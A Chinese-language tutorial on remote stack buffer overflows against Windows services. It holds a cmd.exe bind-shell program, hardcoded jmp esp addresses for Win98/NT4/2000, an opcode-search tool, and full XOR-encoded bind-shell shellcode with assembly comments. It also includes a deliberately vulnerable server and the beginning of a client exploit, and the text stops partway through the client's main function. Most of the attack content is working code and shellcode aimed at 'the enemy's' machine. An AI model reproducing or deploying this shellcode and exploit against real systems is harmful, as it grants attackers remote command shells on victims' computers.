Windows系统下的远程堆栈溢出

第一篇 《原理篇》

----远程溢出算法

如何开一个远程shell呢?
思路是这样的:首先使敌人的程序溢出,让他执行我们的shellcode。我们的shellcode的功能就是在敌人的机器上用某个端口开一个telnetd 服务器,然后等待客户来的连接。当客户连接上之后,为这个客户开创一个cmd.exe,把客户的输入输出和cmd.exe的输入输出联系起来,我们远程的使用者就有了一个远程shell(跟telnet一样啦)。

上面的算法我想大家都该想得到,这里面socket部分比较简单。和Unix下的基本差不多。就是加了一个WSAStartup;为客户开创一个cmd.exe,就是用CreateProcess
来创建这个子进程;但是如何把客户的输入输出和cmd.exe的输出输入联系起来呢?我使用了匿名管道(Anonymous Pipe)来完成这个联系过程。

管道(Pipe)是一种简单的进程间通信(IPC)机制。在Windows NT,2000,98,95下都可以使用。管道分有名和匿名两种,命名管道可以在同一台机器的不同进程间以及不同机器上的不同进程之间进行双向通信(使用UNC命名规范)。

匿名管道只是在父子进程之间或者一个进程的两个子进程之间进行通信。他是单向的。匿名管道其实是通过用给了一个指定名字的有名管道来实现的。

管道的最大好处在于:他可以象对普通文件一样进行操作。他的操作标示符是HANDLE,也就是说,他可以使用readFile,WriteFile函数来进行与底层实现无关的读写操作!用户根本就不必了解网络间/进程间通信的具体细节。

下面就是这个算法的C实现:

/***************************************************************************
*/
/* Telnetd.cpp By Ipxodi tested in win2000
To illustrated the method of telnetd.
Only one connection can be accept,
feel free to add select... to fit for multiple client
*/
#include <winsock2.h>
#include <stdio.h>

int main()
{
WSADATA wsa;
SOCKET listenFD;
char Buff[1024];
int ret;

WSAStartup(MAKEWORD(2,2),&wsa);

listenFD = socket(AF_INET,SOCK_STREAM,IPPROTO_TCP);

struct sockaddr_in server;

server.sin_family = AF_INET;
server.sin_port = htons(53764);
server.sin_addr.s_addr=ADDR_ANY;
ret=bind(listenFD,(sockaddr *)&server,sizeof(server));
ret=listen(listenFD,2);
int iAddrSize = sizeof(server);
SOCKET clientFD=accept(listenFD,(sockaddr *)&server,&iAddrSize);
/*
这段代码是用来建立一个Tcp Server的,我们先申请一个socketfd,
使用53764(随便,多少都行)作为这个socket连接的端口,bind他,
然后在这个端口上等待连接listen。程序阻塞在accept函数直到有
client连接上来。
*/
SECURITY_ATTRIBUTES sa;
sa.nLength=12;sa.lpSecurityDescriptor=0;sa.bInheritHandle=true;
HANDLE hReadPipe1,hWritePipe1,hReadPipe2,hWritePipe2;

ret=CreatePipe(&hReadPipe1,&hWritePipe1,&sa,0);
ret=CreatePipe(&hReadPipe2,&hWritePipe2,&sa,0);
/*
创建两个匿名管道。hReadPipe只能用来读管道,hWritePipe1只能用来写管道。
*/
STARTUPINFO si;
ZeroMemory(&si,sizeof(si));
si.dwFlags = STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES;
si.wShowWindow = SW_HIDE;
si.hStdInput = hReadPipe2;
si.hStdOutput = si.hStdError = hWritePipe1;
char cmdLine[] = "cmd.exe";
PROCESS_INFORMATION ProcessInformation;

ret=CreateProcess(NULL,cmdLine,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInformati
on);
/*
这段代码创建了一个shell(cmd.exe),并且把cmd.exe的标准输入用第二个管道的读句柄替换。cmd.exe的标准输出和标准错误输出用第一个管道的写句柄替换。
这两个管道的逻辑示意图如下:
(父进程) read<---〔管道一〕&lt;---write 标准输出(cmd.exe子进程)
(父进程) write--->〔管道二〕---&gt;read 标准输入(cmd.exe子进程)
*/

unsigned long lBytesRead;
while(1) {
ret=PeekNamedPipe(hReadPipe1,Buff,1024,&lBytesRead,0,0);
if(lBytesRead) {
ret=ReadFile(hReadPipe1,Buff,lBytesRead,&lBytesRead,0);
if(!ret) break;
ret=send(clientFD,Buff,lBytesRead,0);
if(ret<=0) break;
}else {
lBytesRead=recv(clientFD,Buff,1024,0);
if(lBytesRead&lt;=0) break;
ret=WriteFile(hWritePipe2,Buff,lBytesRead,&lBytesRead,0);
if(!ret) break;
}
}
/*
这段代码完成了客户输入和shell的交互。PeekNamedPipe用来异步的查询管道一,看看shell是否有输出。如果有就readfile读出来,并发送给客户。如果没有,就去接受客户的输入。并writefile写入管道传递给shell.
这两个管道与client和server的配合逻辑图如下:
输入命令(Client) &lt;-- send(父进程) read&lt;--〔管道一〕&lt;--write 标准输出
(cmd.exe子进程)
获得结果(Client) recv-->(父进程)write--&gt;〔管道二〕--&gt;read 标准输入
(cmd.exe子进程)

*/
return 0;
}
/***************************************************************************
*/

----shellcode疑难问题

下面来写shellcode。针对windows系统缓冲区溢出的特殊性,shellcode有一些新的问题,
我采用如下办法来解决:
1)跳转指令地址的问题
因为在函数返回的时候,esp都指向返回地址后面的地址。(为什么?因为esp在返回后要指向的地址,就是父函数在压完参数,准备执行call 子函数之前的堆栈顶。)
所以,我们的shellcode的开始位置,就是函数返回的时候,esp所指向的位置。因此,使用jmp esp 就可以跳到我们的shellcode上来。

当然,这里面作了一个假设,就是程序是由调用者来负责堆栈的恢复的。
汇编代码就是这个样子:
push eax;
push ebx;
push ecx;
call SubRutine
add esp,000C

但是,如果是由子程序来负责恢复堆栈,
SubRutine:
....
:010091F3 C9 leave
:010091F4 C20C00 ret 000C
esp就不是指向我们的shellcode开始位置。它将指向shellcode+0c的位置。

事实上,当你在试图发现敌人程序的一个溢出点时,这个数值(这里是0C)是可以很精确的发现的,因为你可以看到他的汇编原代码呀!

为了解决这种情况下shellcode不能被正确执行的问题,我们可以在shellcode前面
加上0c个nop.

这样,我们需要作的事情,就是用内存中一个jmp esp指令的地址,来覆盖敌人程序的返回地址。
在内存中,当然有很多dll都会有jmp esp指令,我选择了kernel32.dll里面的指令,因为这kernel32.dll是系统核心DLL,加载在前面,后面的dll安装地址要随前面dll的变动而变动,为了通用性的考虑,采用KERNEL32.DLL。

那么这些地址就是固定的了:
win98第二版下(4.00.2222a),返回地址为:0xbff795a3
winnt4下(4.00.1381),返回地址为:0x77f0eac3
win2000下(5.00.2195),返回地址为:0x77e2e32a

以上地址,我们可以在测试的时候使用,但是,在真正对付敌人的时候,为了区别出选择哪一个地址,就需要首先摸清敌人的操作系统以及dll版本号。
jmp esp 地址如果不对,敌人的程序就会出现"无效页错误"对话框,并且一定会当掉,所以,在攻击之前,必须通过一些蛛丝马迹,判断敌人的类型。

以下是测试时候使用的代码:
#ifdef WIN2000
#define JUMPESP "\x2a\xe3\xe2\x77"
#endif
#ifdef WINNT4
#define JUMPESP "\xc3\xea\xf0\x77"
#endif
#ifdef WIN98 //2222a
#define JUMPESP "\xa3\x95\xf7\xbf"
#endif
#ifdef EXPLOIT
#define JUMPESP "敌人目标程序上的jmp esp地址。"
#endif

如果你有softice,可以直接在内存里面搜ffe4。如果没有,
绿色兵团的Backend 写过一个小程序可以搜索user32.dll中的FFE4(jmp esp)串。
我把他改了一下,可以搜索指定dll中的FFE4。算法如下:
/****************************************************************************/
/*ffe4.cpp By Backend
*/
bool we_loaded_it = false;
HINSTANCE h;
TCHAR dllname[] = _T("User32");

if(argc&gt;1) {
strcpy(dllname,argv[1]);
}

h = GetModuleHandle(dllname);
if(h == NULL)
{
h = LoadLibrary(dllname);
if(h == NULL)
{
cout<&lt;"ERROR LOADING DLL: "&lt;&lt;dllname&lt;&lt;endl;
return 1;
}
we_loaded_it = true;
}

BYTE* ptr = (BYTE*)h;
bool done = false;
for(int y = 0;!done;y++)
{
try
{
if(ptr[y] == 0xFF && ptr[y+1] == 0xE4)
{
int pos = (int)ptr + y;
cout&lt;&lt;"OPCODE found at 0x"&lt;&lt;hex&lt;&lt;pos&lt;&lt;endl;
}
}
catch(...)
{
cout&lt;&lt;"END OF "&lt;&lt;dllname&lt;&lt;" MEMORY REACHED"&lt;&lt;endl;
done = true;
}
}
if(we_loaded_it) FreeLibrary(h);

/****************************************************************************/
2)shellcode所使用函数的问题
在shellcode里面使用了很多win32函数,比如ReadFile,CreateProcess等等。
这些函数必须加载到了敌人程序的进程空间里面后我们才能使用。
我们将攻击的敌人的远程服务程序里面并不能保证已经load了我们所需要的所有的函数。

我们希望可以作出一个平台无关的shellcode,这就必须:
不直接使用OS版本相关的函数入口地址。
这是因为函数入口地址是根据OS/SP/升级的版本不同而可能不同的。

唯一的办法就是对使用的每一个win32函数,都使用LoadLibrary加载dll,用GetProcAddress函数来获得函数地址。这需要我们的shellcode里面有一个函数名表保存每一个所使用的函数的函数名,并且在shellcode执行前,调用上述两个函数一一获得这些函数的地址。

但是又有一个问题,就是LoadLibrary和GetProcAddress本身的地址怎么获得呢?
我们想一想,这两个函数的作用?"取得所有其他函数的地址。"
没错,他们太重要了,每一个win32程序都要使用它们!那么,我们的目标程序呢?
肯定也会有它们的。所以,在写exploit的时候,这两个函数的地址都是确定的。

如何找到这两个函数在目标程序里面的加载地址呢?它们会不会是根据敌人操作系统的不同而变化的呢?不是。这些动态加载的函数都是在目标程序里面设置了一个入口表。由目标程序自己去加载,但是他的入口表地址是固定的。

你可以使用wdasm32来搜索LoadLibrary和GetProcAddress,可以看到它们对应的入口表地址AAAA。在shellcode里面,可以直接用call [AAAA]来引用它们。

3)shellcode里面使用的字符串问题
刚刚解决了第二个问题,就引出了第三个问题。前面提到过使用函数名表以用来动态获得函数地址。但是这些函数名字都要以\0x0结尾的!我们的shellcode最基本的一条,就是里面绝对不能含有\0x0,也不可以有回车换行\n.

解决的办法,就是先对字符串表进行编码(好吓人)处理,处理掉所有的非法字符,shellcode在使用前,由一个子程序来进行解码。

我使用的方法就是对字符串进行 xor 0x99处理。这样编解码就是一个程序了。

下面是编解码程序:
0xb1, 0xc6, /* mov cl, C6 */
0x8b, 0xc7, /* mov eax, edi */
/*Xorshellcode */ /* */
0x48, /* dec eax */
0x80, 0x30, 0x99, /* xor byte ptr [eax], 99 */
0xe2, 0xfa, /* loop Xorshellcode */

呵呵,一点都不吓人,很简单,是不是?
我们将使用的资源列表就是前面使用的所有函数,加上"cmd.exe"。具体为:

/****************************************************************************/
db "KERNEL32" ,0;string to push for LoadLibrary.
db "CreatePipe",0
db "GetStartupInfoA",0
db "CreateProcessA",0
db "PeekNamedPipe",0
db "GlobalAlloc",0
db "WriteFile",0
db "ReadFile",0
db "Sleep",0
db "ExitProcess",0
db "WSOCK32",0
db "socket",0
db "bind",0
db "listen",0
db "accept",0
db "send",0
db "recv",0

sockstruc STRUCT
sin_family dw 0002h
sin_port dw ?
sin_addr dd ?
sin_zero db 8 dup (0)
sockstruc ENDS

db "cmd.exe",0
dd 0ffffffffh
db 00dh, 00ah

/****************************************************************************/

4)shellcode的编写
将前面的C程序编译出来,提取出shellcode,然后加上前面的编解码和函数加载模块就可以了。

应用前面的设计思想,我们可以写出来shellcode如下:

unsigned char sploit[580] = {
0x90, 0x8b, 0xfc, /* mov edi,esp */
0x33, 0xc0, /* xor eax, eax */
0x50, /* push eax */
0xf7, 0xd0, /* not eax */
0x50, /* push eax */
0x59, /* pop ecx */
0xf2, /* repnz */
0xaf, /* scasd */
0x59, /* pop ecx */
0xb1, 0xc6, /* mov cl, C6 */
0x8b, 0xc7, /* mov eax, edi */
/*Xorshellcode */ /* */
0x48, /* dec eax */
0x80, 0x30, 0x99, /* xor byte ptr [eax], 99 */
0xe2, 0xfa, /* loop Xorshellcode */
0x33, 0xf6, /* xor esi, esi */
0x96, /* xchg eax,esi */
0xbb,0x99, 0xe8, 0x61, 0x42, /* mov ebx, &LoadLibrary */
0xc1, 0xeb, 0x08, /* shr ebx, 08 */
0x56, /* push esi */
0xff, 0x13, /* call dword ptr [ebx] */
0x8b, 0xd0, /* mov edx, eax */
0xfc, /* cld */
0x33, 0xc9, /* xor ecx, ecx */
0xb1, 0x0b, /* mov cl, 0B */
0x49, /* dec ecx */
/* loadKernelProcess */ /* */
0x32, 0xc0, /* xor al, al */
0xac, /* lodsb */
0x84, 0xc0, /* test al, al */
0x75, 0xf9, /* jne loadKernelProcess */
0x52, /* push edx */
0x51, /* push ecx */
0x56, /* push esi */
0x52, /* push edx */
0xb3, 0xe4, /* mov bl, e4 &GetProcAddr */
0xff, 0x13, /* call dword ptr [ebx] */
0xab, /* stosd */
0x59, /* pop ecx */
0x5a, /* pop edx */
0xe2, 0xec, /* loop loadKernelProcess */
/* */
0x32, 0xc0, /* xor al, al */
0xac, /* lodsb */
0x84, 0xc0, /* test al, al */
0x75, 0xf9, /* jne 00000176 */
0xb3, 0xe8, /* mov bl, e8 */
0x56, /* push esi */
0xff, 0x13, /* call dword ptr [ebx] */
0x8b, 0xd0, /* mov edx, eax */
0xfc, /* cld */
0x33, 0xc9, /* xor ecx, ecx */
0xb1, 0x06, /* mov cl, 06 */
/* loadSocketProcess */
0x32, 0xc0, /* xor al, al */
0xac, /* lodsb */
0x84, 0xc0, /* test al, al */
0x75, 0xf9, /* jne loadSocketProcess */
0x52, /* push edx */
0x51, /* push ecx */
0x56, /* push esi */
0x52, /* push edx */
0xb3, 0xe4, /* mov bl, e4 */
0xff, 0x13, /* call dword ptr [ebx] */
0xab, /* stosd */
0x59, /* pop ecx */
0x5a, /* pop edx */
0xe2, 0xec, /* loop loadSocketProcess */
/*
这一段代码就是前期的准备工作,它负责获得所有的函数的入口地址,这些函数是:
"KERNEL32.dll"
"CreatePipe"
"GetStartupInfoA"
"CreateProcessA"
"PeekNamedPipe"
"GlobalAlloc"
"WriteFile"
"ReadFile"
"Sleep"
"ExitProcess"

"WSOCK32.dll"
"socket"
"bind"
"listen"
"accept"
"send"
"recv"
*/
0x83, 0xc6, 0x05, /* add esi, 00000005 */
0x33, 0xc0, /* xor eax, eax */
0x50, /* push eax */
0x40, /* inc eax */
0x50, /* push eax */
0x40, /* inc eax */
0x50, /* push eax */
0xff, 0x57, 0xe8, /* call [edi-18] */
0x93, /* xchg eax,ebx */
0x6a, 0x10, /* push 00000010 */
0x56, /* push esi */
0x53, /* push ebx */
0xff, 0x57, 0xec, /* call [edi-14] */
0x6a, 0x02, /* push 00000002 */
0x53, /* push ebx */
0xff, 0x57, 0xf0, /* call [edi-10] */
0x33, 0xc0, /* xor eax, eax */
0x57, /* push edi */
0x50, /* push eax */
0xb0, 0x0c, /* mov al, 0C */
0xab, /* stosd */
0x58, /* pop eax */
0xab, /* stosd */
0x40, /* inc eax */
0xab, /* stosd */
0x5f, /* pop edi */
0x48, /* dec eax */
0x50, /* push eax */
0x57, /* push edi */
0x56, /* push esi */
0xad, /* lodsd */
0x56, /* push esi */
0xff, 0x57, 0xc0, /* call [edi-40] */
0x48, /* dec eax */
0x50, /* push eax */
0x57, /* push edi */
0xad, /* lodsd */
0x56, /* push esi */
0xad, /* lodsd */
0x56, /* push esi */
0xff, 0x57, 0xc0, /* call [edi-40] */
0x48, /* dec eax */
0xb0, 0x44, /* mov al, 44 */
0x89, 0x07, /* mov dword ptr [edi], eax */
0x57, /* push edi */
0xff, 0x57, 0xc4, /* call [edi-3C] */
0x33, 0xc0, /* xor eax, eax */
0x8b, 0x46, 0xf4, /* mov eax, dword ptr [esi-0C] */
0x89, 0x47, 0x3c, /* mov dword ptr [edi+3C], eax */
0x89, 0x47, 0x40, /* mov dword ptr [edi+40], eax */
0x8b, 0x06, /* mov eax, dword ptr [esi] */
0x89, 0x47, 0x38, /* mov dword ptr [edi+38], eax */
0x33, 0xc0, /* xor eax, eax */
0x66, 0xb8, 0x01, 0x01, /* mov ax, 0101 */
0x89, 0x47, 0x2c, /* mov dword ptr [edi+2C], eax */
0x57, /* push edi */
0x57, /* push edi */
0x33, 0xc0, /* xor eax, eax */
0x50, /* push eax */
0x50, /* push eax */
0x50, /* push eax */
0x40, /* inc eax */
0x50, /* push eax */
0x48, /* dec eax */
0x50, /* push eax */
0x50, /* push eax */
0xad, /* lodsd */
0x56, /* push esi */
0x33, 0xc0, /* xor eax, eax */
0x50, /* push eax */
0xff, 0x57, 0xc8, /* call [edi-38] */
0xff, 0x76, 0xf0, /* push [esi-10] */
0xff, 0x57, 0xcc, /* call [edi-34] */
0xff, 0x76, 0xfc, /* push [esi-04] */
0xff, 0x57, 0xcc, /* call [edi-34] */
0x48, /* dec eax */
0x50, /* push eax */
0x50, /* push eax */
0x53, /* push ebx */
0xff, 0x57, 0xf4, /* call [edi-0C] */
0x8b, 0xd8, /* mov ebx, eax */
0x33, 0xc0, /* xor eax, eax */
0xb4, 0x04, /* mov ah, 04 */
0x50, /* push eax */
0xc1, 0xe8, 0x04, /* shr eax, 04 */
0x50, /* push eax */
0xff, 0x57, 0xd4, /* call [edi-2C] */
0x8b, 0xf0, /* mov esi, eax */
/* PeekPipe: */
0x33, 0xc0, /* xor eax, eax */
0x8b, 0xc8, /* mov ecx, eax */
0xb5, 0x04, /* mov ch, 04 */
0x50, /* push eax */
0x50, /* push eax */
0x57, /* push edi */
0x51, /* push ecx */
0x56, /* push esi */
0xff, 0x77, 0xa8, /* push [edi-58] */
0xff, 0x57, 0xd0, /* call [edi-30] */
0x83, 0x3f, 0x01, /* cmp dword ptr [edi], 0000000*/
0x7c, 0x22, /* jl GetUserInput */
0x33, 0xc0, /* xor eax, eax */
0x50, /* push eax */
0x57, /* push edi */
0xff, 0x37, /* push dword ptr [edi] */
0x56, /* push esi */
0xff, 0x77, 0xa8, /* push [edi-58] */
0xff, 0x57, 0xdc, /* call [edi-24] */
0x0b, 0xc0, /* or eax, eax */
0x74, 0x2f, /* je GameOver */
0x33, 0xc0, /* xor eax, eax */
0x50, /* push eax */
0xff, 0x37, /* push dword ptr [edi] */
0x56, /* push esi */
0x53, /* push ebx */
0xff, 0x57, 0xf8, /* call [edi-08] */
0x6a, 0x50, /* push 00000050 */
0xff, 0x57, 0xe0, /* call [edi-20] */
0xeb, 0xc8, /* jmp PeekPipe */
/* GetUserInput: */
0x33, 0xc0, /* xor eax, eax */
0x50, /* push eax */
0xb4, 0x04, /* mov ah, 04 */
0x56, /* push esi */
0x53, /* push ebx */
0xff, 0x57, 0xfc, /* call [edi-04] */
0x57, /* push edi */
0x33, 0xc9, /* xor ecx, ecx */
0x51, /* push ecx */
0x50, /* push eax */
0x56, /* push esi */
0xff, 0x77, 0xac, /* push [edi-54] */
0xff, 0x57, 0xd8, /* call [edi-28] */
0x6a, 0x50, /* push 00000050 */
0xff, 0x57, 0xe0, /* call [edi-20] */
/* GameOver: */
0xeb, 0xaa, /* jmp PeekPipe */
0x50, /* push eax */
0xff, 0x57, 0xe4, /* call [edi-1C] */
0x90, /* nop */
/*
这里的长长代码就是那段C语言的算法,我的注释很详细,就不多说了
*/
0xd2, 0xdc, 0xcb, 0xd7, 0xdc, 0xd5, 0xaa, 0xab, 0x99,
0xda, 0xeb, 0xfc, 0xf8, 0xed, 0xfc, 0xc9, 0xf0, 0xe9, 0xfc, 0x99, 0xde,
0xfc, 0xed, 0xca, 0xed, 0xf8, 0xeb, 0xed, 0xec, 0xe9, 0xd0, 0xf7, 0xff,
0xf6, 0xd8, 0x99, 0xda, 0xeb, 0xfc, 0xf8, 0xed, 0xfc, 0xc9, 0xeb, 0xf6,
0xfa, 0xfc, 0xea, 0xea, 0xd8, 0x99, 0xda, 0xf5, 0xf6, 0xea, 0xfc, 0xd1,
0xf8, 0xf7, 0xfd, 0xf5, 0xfc, 0x99, 0xc9, 0xfc, 0xfc, 0xf2, 0xd7, 0xf8,
0xf4, 0xfc, 0xfd, 0xc9, 0xf0, 0xe9, 0xfc, 0x99, 0xde, 0xf5, 0xf6, 0xfb,
0xf8, 0xf5, 0xd8, 0xf5, 0xf5, 0xf6, 0xfa, 0x99, 0xce, 0xeb, 0xf0, 0xed,
0xfc, 0xdf, 0xf0, 0xf5, 0xfc, 0x99, 0xcb, 0xfc, 0xf8, 0xfd, 0xdf, 0xf0,
0xf5, 0xfc, 0x99, 0xca, 0xf5, 0xfc, 0xfc, 0xe9, 0x99, 0xdc, 0xe1, 0xf0,
0xed, 0xc9, 0xeb, 0xf6, 0xfa, 0xfc, 0xea, 0xea, 0x99, 0xce, 0xca, 0xd6,
0xda, 0xd2, 0xaa, 0xab, 0x99, 0xae, 0xf6, 0xfa, 0xf2, 0xfc, 0xed, 0x99,
0xfb, 0xf0, 0xf7, 0xfd, 0x99, 0xf5, 0xf0, 0xea, 0xed, 0xfc, 0xf7, 0x99,
0xf8, 0xfa, 0xfa, 0xfc, 0xe9, 0xed, 0x99, 0xea, 0xfc, 0xf7, 0xfd, 0x99,
0xeb, 0xfc, 0xfa, 0xef, 0x99, 0x9b, 0x99,
0x4b, 0x9d, // word value for bind port, 4b9d xor 9999h=53764
0x99, 0x99, 0x99, 0x99, 0x99, 0x99, 0x99, 0x99, 0x99, 0x99, 0x99, 0x99,
0xfa, 0xf4, 0xfd, 0xb7, 0xfc, 0xe1, 0xfc, 0x99, 0xff, 0xff, 0xff, 0xff,
0x0d, 0x0a};
/*
这些就是那个字符串表,已经经过了编码。
*/

第二篇 《实战篇》

下面是一个有问题的internet服务程序:
/****************************************************************************/
/* server.cpp By Ipxodi
*/

#include &lt;winsock2.h>
#include <stdio.h>
char Buff[1024];
void overflow(char * s,int size)
{
char s1[50];
printf("receive %d bytes",size);
s[size]=0;
strcpy(s1,s);
}

int main()
{
WSADATA wsa;
SOCKET listenFD;
int ret;
char asd[2048];

WSAStartup(MAKEWORD(2,2),&wsa);

listenFD = socket(AF_INET,SOCK_STREAM,IPPROTO_TCP);

struct sockaddr_in server;

server.sin_family = AF_INET;
server.sin_port = htons(3764);
server.sin_addr.s_addr=ADDR_ANY;
ret=bind(listenFD,(sockaddr *)&server,sizeof(server));
ret=listen(listenFD,2);

int iAddrSize = sizeof(server);
SOCKET clientFD=accept(listenFD,(sockaddr *)&server,&iAddrSize);
unsigned long lBytesRead;
while(1) {
lBytesRead=recv(clientFD,Buff,1024,0);
if(lBytesRead<=0) break;

overflow(Buff,lBytesRead);

ret=send(clientFD,Buff,lBytesRead,0);
if(ret&lt;=0) break;

}
WSACleanup();
return 0;
}
/****************************************************************************/

函数Overflow有问题,看到了吗?

好,现在我们来写溢出攻击程序:

1)先算一下溢出(返回)地址应该在哪里?
(:啊?算出?你上次不是用程序试吗?我好不容易才看懂你的算法,这次怎么不用了?:唉,老兄,上次是没有敌人的原代码,懒得看汇编,才会试,现在原代码就放在你眼前,你自己算一下不就出来了?)

下面是溢出时刻堆栈布局:
内存底部 内存顶部
buffer EBP ret
&lt;------ [NNNNNNNNNNN][N ] [A ]SSSS
^&buffer
堆栈顶部 堆栈底部

可以看到,buffer我们开的是50,32位系统针对数组进行四位对齐,所以实际缓冲区是52,加上EBP占去4个字节,就是52+4=56,那么,ret就是第56字节了。

2)再看看server里面LoadLibrary和GetProcAddress的地址是什么?
启动wdasm32,加载server.exe

:004028EC 68F0014200 push 004201F0

* Reference To: KERNEL32.LoadLibraryA, Ord:01C2h
|
:004028F1 FF15E8614200 Call dword ptr [004261E8]

好,KERNEL32.LoadLibraryA(就是LoadLibrary的别名)的入口地址:0x004261E8。

:00402911 51 push ecx

* Reference To: KERNEL32.GetProcAddress, Ord:013Eh
|
:00402912 FF15E4614200 Call dword ptr [004261E4]

好,KERNEL32.GetProcAddress的入口地址:0x004261E4。

这两个地址都有00,我们不能直接在shellcode里面引用,因此采用如下变通方案:
0xbb,0x99, 0xe8, 0x61, 0x42, /* mov ebx, 004261E8h;(&LoadLibrary) */
0xc1, 0xeb, 0x08, /* shr ebx, 08 */
以及
0xb3, 0xe4, /* mov bl, e4 &GetProcAddr */

3)写出client:
/****************************************************************************/
/* client.cpp By Ipxodi
*/

#include &lt;winsock2.h>
#include <stdio.h>
#define WIN2000

#ifdef WIN2000
#define JUMPESP "\x2a\xe3\xe2\x77"
#endif
#ifdef WIN98
#define JUMPESP "\xa3\x95\xf7\xbf"
#endif

unsigned char eip[8] = JUMPESP;
unsigned char sploit[580] = {
0x90, 0x8b, 0xfc,
0x33, 0xc0, 0x50, 0xf7, 0xd0, 0x50, 0x59, 0xf2, 0xaf, 0x59, 0xb1, 0xc6,
0x8b, 0xc7, 0x48, 0x80, 0x30, 0x99, 0xe2, 0xfa, 0x33, 0xf6, 0x96, 0xbb,
0x99, 0xe8, 0x61, 0x42, 0xc1, 0xeb, 0x08, 0x56, 0xff, 0x13, 0x8b, 0xd0,
0xfc, 0x33, 0xc9, 0xb1, 0x0b, 0x49, 0x32, 0xc0, 0xac, 0x84, 0xc0, 0x75,
0xf9, 0x52, 0x51, 0x56, 0x52, 0xb3, 0xe4, 0xff, 0x13, 0xab, 0x59, 0x5a,
0xe2, 0xec, 0x32, 0xc0, 0xac, 0x84, 0xc0, 0x75, 0xf9, 0xb3, 0xe8, 0x56,
0xff, 0x13, 0x8b, 0xd0, 0xfc, 0x33, 0xc9, 0xb1, 0x06, 0x32, 0xc0, 0xac,
0x84, 0xc0, 0x75, 0xf9, 0x52, 0x51, 0x56, 0x52, 0xb3, 0xe4, 0xff, 0x13,
0xab, 0x59, 0x5a, 0xe2, 0xec, 0x83, 0xc6, 0x05, 0x33, 0xc0, 0x50, 0x40,
0x50, 0x40, 0x50, 0xff, 0x57, 0xe8, 0x93, 0x6a, 0x10, 0x56, 0x53, 0xff,
0x57, 0xec, 0x6a, 0x02, 0x53, 0xff, 0x57, 0xf0, 0x33, 0xc0, 0x57, 0x50,
0xb0, 0x0c, 0xab, 0x58, 0xab, 0x40, 0xab, 0x5f, 0x48, 0x50, 0x57, 0x56,
0xad, 0x56, 0xff, 0x57, 0xc0, 0x48, 0x50, 0x57, 0xad, 0x56, 0xad, 0x56,
0xff, 0x57, 0xc0, 0x48, 0xb0, 0x44, 0x89, 0x07, 0x57, 0xff, 0x57, 0xc4,
0x33, 0xc0, 0x8b, 0x46, 0xf4, 0x89, 0x47, 0x3c, 0x89, 0x47, 0x40, 0x8b,
0x06, 0x89, 0x47, 0x38, 0x33, 0xc0, 0x66, 0xb8, 0x01, 0x01, 0x89, 0x47,
0x2c, 0x57, 0x57, 0x33, 0xc0, 0x50, 0x50, 0x50, 0x40, 0x50, 0x48, 0x50,
0x50, 0xad, 0x56, 0x33, 0xc0, 0x50, 0xff, 0x57, 0xc8, 0xff, 0x76, 0xf0,
0xff, 0x57, 0xcc, 0xff, 0x76, 0xfc, 0xff, 0x57, 0xcc, 0x48, 0x50, 0x50,
0x53, 0xff, 0x57, 0xf4, 0x8b, 0xd8, 0x33, 0xc0, 0xb4, 0x04, 0x50, 0xc1,
0xe8, 0x04, 0x50, 0xff, 0x57, 0xd4, 0x8b, 0xf0, 0x33, 0xc0, 0x8b, 0xc8,
0xb5, 0x04, 0x50, 0x50, 0x57, 0x51, 0x56, 0xff, 0x77, 0xa8, 0xff, 0x57,
0xd0, 0x83, 0x3f, 0x01, 0x7c, 0x22, 0x33, 0xc0, 0x50, 0x57, 0xff, 0x37,
0x56, 0xff, 0x77, 0xa8, 0xff, 0x57, 0xdc, 0x0b, 0xc0, 0x74, 0x2f, 0x33,
0xc0, 0x50, 0xff, 0x37, 0x56, 0x53, 0xff, 0x57, 0xf8, 0x6a, 0x50, 0xff,
0x57, 0xe0, 0xeb, 0xc8, 0x33, 0xc0, 0x50, 0xb4, 0x04, 0x50, 0x56, 0x53,
0xff, 0x57, 0xfc, 0x57, 0x33, 0xc9, 0x51, 0x50, 0x56, 0xff, 0x77, 0xac,
0xff, 0x57, 0xd8, 0x6a, 0x50, 0xff, 0x57, 0xe0, 0xeb, 0xaa, 0x50, 0xff,
0x57, 0xe4, 0x90, 0xd2, 0xdc, 0xcb, 0xd7, 0xdc, 0xd5, 0xaa, 0xab, 0x99,
0xda, 0xeb, 0xfc, 0xf8, 0xed, 0xfc, 0xc9, 0xf0, 0xe9, 0xfc, 0x99, 0xde,
0xfc, 0xed, 0xca, 0xed, 0xf8, 0xeb, 0xed, 0xec, 0xe9, 0xd0, 0xf7, 0xff,
0xf6, 0xd8, 0x99, 0xda, 0xeb, 0xfc, 0xf8, 0xed, 0xfc, 0xc9, 0xeb, 0xf6,
0xfa, 0xfc, 0xea, 0xea, 0xd8, 0x99, 0xda, 0xf5, 0xf6, 0xea, 0xfc, 0xd1,
0xf8, 0xf7, 0xfd, 0xf5, 0xfc, 0x99, 0xc9, 0xfc, 0xfc, 0xf2, 0xd7, 0xf8,
0xf4, 0xfc, 0xfd, 0xc9, 0xf0, 0xe9, 0xfc, 0x99, 0xde, 0xf5, 0xf6, 0xfb,
0xf8, 0xf5, 0xd8, 0xf5, 0xf5, 0xf6, 0xfa, 0x99, 0xce, 0xeb, 0xf0, 0xed,
0xfc, 0xdf, 0xf0, 0xf5, 0xfc, 0x99, 0xcb, 0xfc, 0xf8, 0xfd, 0xdf, 0xf0,
0xf5, 0xfc, 0x99, 0xca, 0xf5, 0xfc, 0xfc, 0xe9, 0x99, 0xdc, 0xe1, 0xf0,
0xed, 0xc9, 0xeb, 0xf6, 0xfa, 0xfc, 0xea, 0xea, 0x99, 0xce, 0xca, 0xd6,
0xda, 0xd2, 0xaa, 0xab, 0x99, 0xea, 0xf6, 0xfa, 0xf2, 0xfc, 0xed, 0x99,
0xfb, 0xf0, 0xf7, 0xfd, 0x99, 0xf5, 0xf0, 0xea, 0xed, 0xfc, 0xf7, 0x99,
0xf8, 0xfa, 0xfa, 0xfc, 0xe9, 0xed, 0x99, 0xea, 0xfc, 0xf7, 0xfd, 0x99,
0xeb, 0xfc, 0xfa, 0xef, 0x99, 0x9b, 0x99,
0x4b, 0x9d, //port=53764
0x99, 0x99, 0x99, 0x99, 0x99, 0x99, 0x99, 0x99, 0x99, 0x99, 0x99, 0x99,
0xfa, 0xf4, 0xfd, 0xb7, 0xfc, 0xe1, 0xfc, 0x99, 0xff, 0xff, 0xff, 0xff,
0x0d, 0x0a};
int main()
{
WSADATA wsa;
SOCKET sockFD;
char Buff[1024],*sBO;

WSAStartup(MAKEWORD(2,2),&wsa);

